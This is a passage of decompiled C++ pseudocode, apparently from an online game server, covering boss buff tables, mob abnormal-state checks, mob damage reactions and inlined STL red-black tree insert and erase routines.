0; } else { v5 = (BossFieldContent::ServentBuffBossTable::ServentBossTable *)(ID + 12); FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer"); result = v5; } return result; } //----- (00553020) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_IBuffToBuffee(void *this) { void *v1; // esi@1 BossFieldContent::ServentBuffBossTable::ServentBossTable *v2; // eax@2 AxialListMobStateSet almss; // [sp+8h] [bp-24h]@3 int v4; // [sp+28h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_IBuffToBuffee"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_IBuffToBuffee"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; if ( BossFieldContent::g_ServentBuffBossTable.sbbt_NextTick < clockwatch.cw_CurrTick ) { v2 = BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer( &BossFieldContent::g_ServentBuffBossTable, ***((_WORD ***)v1 + 1884)); if ( v2 ) { AxialListMobStateSet::AxialListMobStateSet( &almss, v2->sbt_Buffee, v2->sbt_AbstateIndex, v2->sbt_AbstateStrength, v2->sbt_Dictionary, 6000); LOBYTE(v4) = 1; ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&almss, 1); LOBYTE(v4) = 0; AxialListMobStateSet::_AxialListMobStateSet(&almss); } } --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_IBuffToBuffee"); } //----- (00553120) -------------------------------------------------------- BossFieldContent::MobAbstateCheckAtDead *__thiscall BossFieldContent::ListOfMobStateCheckAtDead::operator__(BossFieldContent::ListOfMobStateCheckAtDead *this, unsigned __int16 mobid) { int *v2; // edx@1 signed int v3; // eax@2 BossFieldContent::MobAbstateCheckAtDead *result; // eax@5 BossFieldContent::MobAbstateCheckAtDead *v5; // esi@6 unsigned int v6; // edi@6 v2 = this->lomscad_IndexList._Myfirst; if ( v2 ) v3 = this->lomscad_IndexList._Mylast - v2; else v3 = 0; if ( mobid < (unsigned int)v3 ) { v5 = this->lomscad_StructList._Myfirst; v6 = this->lomscad_IndexList._Myfirst[mobid]; if ( v5 && v6 < this->lomscad_StructList._Mylast - v5 ) result = &v5[v6]; else result = this->lomscad_StructList._Myfirst; } else { result = this->lomscad_StructList._Myfirst; } return result; } //----- (00553180) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::smo_BossAbstateSet(void *this) { void *v1; // esi@1 unsigned __int16 **v2; // eax@1 unsigned __int16 *v3; // eax@2 BossFieldContent::MobAbstateCheckAtDead *v4; // edi@3 int v5; // eax@4 char *v6; // [sp-10h] [bp-20h]@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::smo_BossAbstateSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::smo_BossAbstateSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (unsigned __int16 **)*((_DWORD *)v1 + 1884); *((_DWORD *)v1 + 2220) = 0; if ( v2 && (v3 = *v2) != 0 ) { v4 = BossFieldContent::ListOfMobStateCheckAtDead::operator__(&BossFieldContent::g_ListOfMobStateCheckAtDead, *v3); if ( v4 ) { v5 = AbnormalStateContainer::AbstateListInObject::asl_GetAbstateList((char *)v1 + 204); *((_DWORD *)v1 + 2220) = BossFieldContent::MobAbstateCheckAtDead::macad_AbstateCheck( v4, (List *)v5); } v6 = "ShineObjectClass::ShineMob::smo_BossAbstateSet"; } else { v6 = "ShineObjectClass::ShineMob::smo_BossAbstateSet"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); } //----- (00553250) -------------------------------------------------------- void __thiscall BossFieldContent::MobAutomaticActionList::maal_MobDamaged(BossFieldContent::MobAutomaticActionList *this, unsigned __int16 mobid, #325 *attacker) { BossFieldContent::MobAutomaticActionList *v3; // esi@1 int v4; // edi@1 int v5; // esi@3 BossFieldContent::MobAutomaticAction key; // [sp+4h] [bp-24h]@1 int v7; // [sp+24h] [bp-4h]@1 int v8; // [sp+34h] [bp+Ch]@0 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::MobAutomaticActionList::maal_MobDamaged"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::MobAutomaticActionList::maal_MobDamaged"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; key.maa_MobID = mobid; std::_Tree_std::allocator_0>>::find( &v3->maal_Set.baseclass_0, (std::_Tree,std::allocator,0> >::iterator *)&mobid, &key); v4 = mobid; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)mobid != v3->maal_Set.baseclass_0._Myhead ) { if ( *(_DWORD *)(mobid + 16) == 1 ) { v5 = (int)attacker; if ( attacker ) { if ( (signed int)RandomBox::rb_1000(&rndbox) < *(_DWORD *)(mobid + 28) && ShineObjectClass::ShineObject::so_DistanceSquar(v5, v8) < (unsigned int)(*(_DWORD *)(v4 + 32) * *(_DWORD *)(v4 + 32)) ) (*(void (__thiscall **)(int, int, _DWORD, _DWORD, signed int))(*(_DWORD *)v5 + 1540))( v5, v5, *(_DWORD *)(v4 + 20), *(_DWORD *)(v4 + 24), 1); } } } --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAutomaticActionList::maal_MobDamaged"); } //----- (00553360) -------------------------------------------------------- std::list,std::allocator > >::iterator *__thiscall std::vector>::_Ufill(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Ptr, unsigned int _Count, std::list,std::allocator > >::iterator *_Val) { std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00553390) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::_Insert(...) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@2 int v18; // [sp+4Ch] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+60h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0xFFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 28) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 28) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 28) = 1; *(_BYTE *)(v14 + 28) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 28) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00553540) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, BossFieldContent::MobAutomaticAction *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@2 int v18; // [sp+4Ch] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+60h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= (unsigned int)((char *)&ddt.ddt_Table[505][1541].distance + 1) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 36) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 36) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 36) = 1; *(_BYTE *)(v14 + 36) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 36) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (005536F0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00553760) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::erase(...) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+0h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v22; // [sp+50h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 29) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 29) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 29) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 29) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 29) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 29) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 29) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 28); *(_BYTE *)(*(_DWORD *)&v6 + 28) = *(_BYTE *)(*(_DWORD *)&v4 + 28); *(_BYTE *)(*(_DWORD *)&v4 + 28) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 28) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 28) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 28) ) { *(_BYTE *)(v15 + 28) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 28) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 29) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 28) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 28) = 1; *(_BYTE *)(v15 + 28) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 28) = *(_BYTE *)(*(_DWORD *)&v7 + 28); *(_BYTE *)(*(_DWORD *)&v7 + 28) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) = 1; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 28) ) { *(_BYTE *)(v15 + 28) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 28) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 29) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 28) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 28) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 28) = 1; *(_BYTE *)(v15 + 28) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 28) = *(_BYTE *)(*(_DWORD *)&v7 + 28); *(_BYTE *)(*(_DWORD *)&v7 + 28) = 1; *(_BYTE *)(*(_DWORD *)v15 + 28) = 1; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 28) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 28) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 5E86D8: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00553A20) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+0h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v22; // [sp+50h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 37) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 37) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 37) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 37) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 37) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 37) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 37) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 36); *(_BYTE *)(*(_DWORD *)&v6 + 36) = *(_BYTE *)(*(_DWORD *)&v4 + 36); *(_BYTE *)(*(_DWORD *)&v4 + 36) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 36) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 36) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 36) ) { *(_BYTE *)(v15 + 36) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 36) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 37) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 36) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 36) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 36) = 1; *(_BYTE *)(v15 + 36) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 36) = 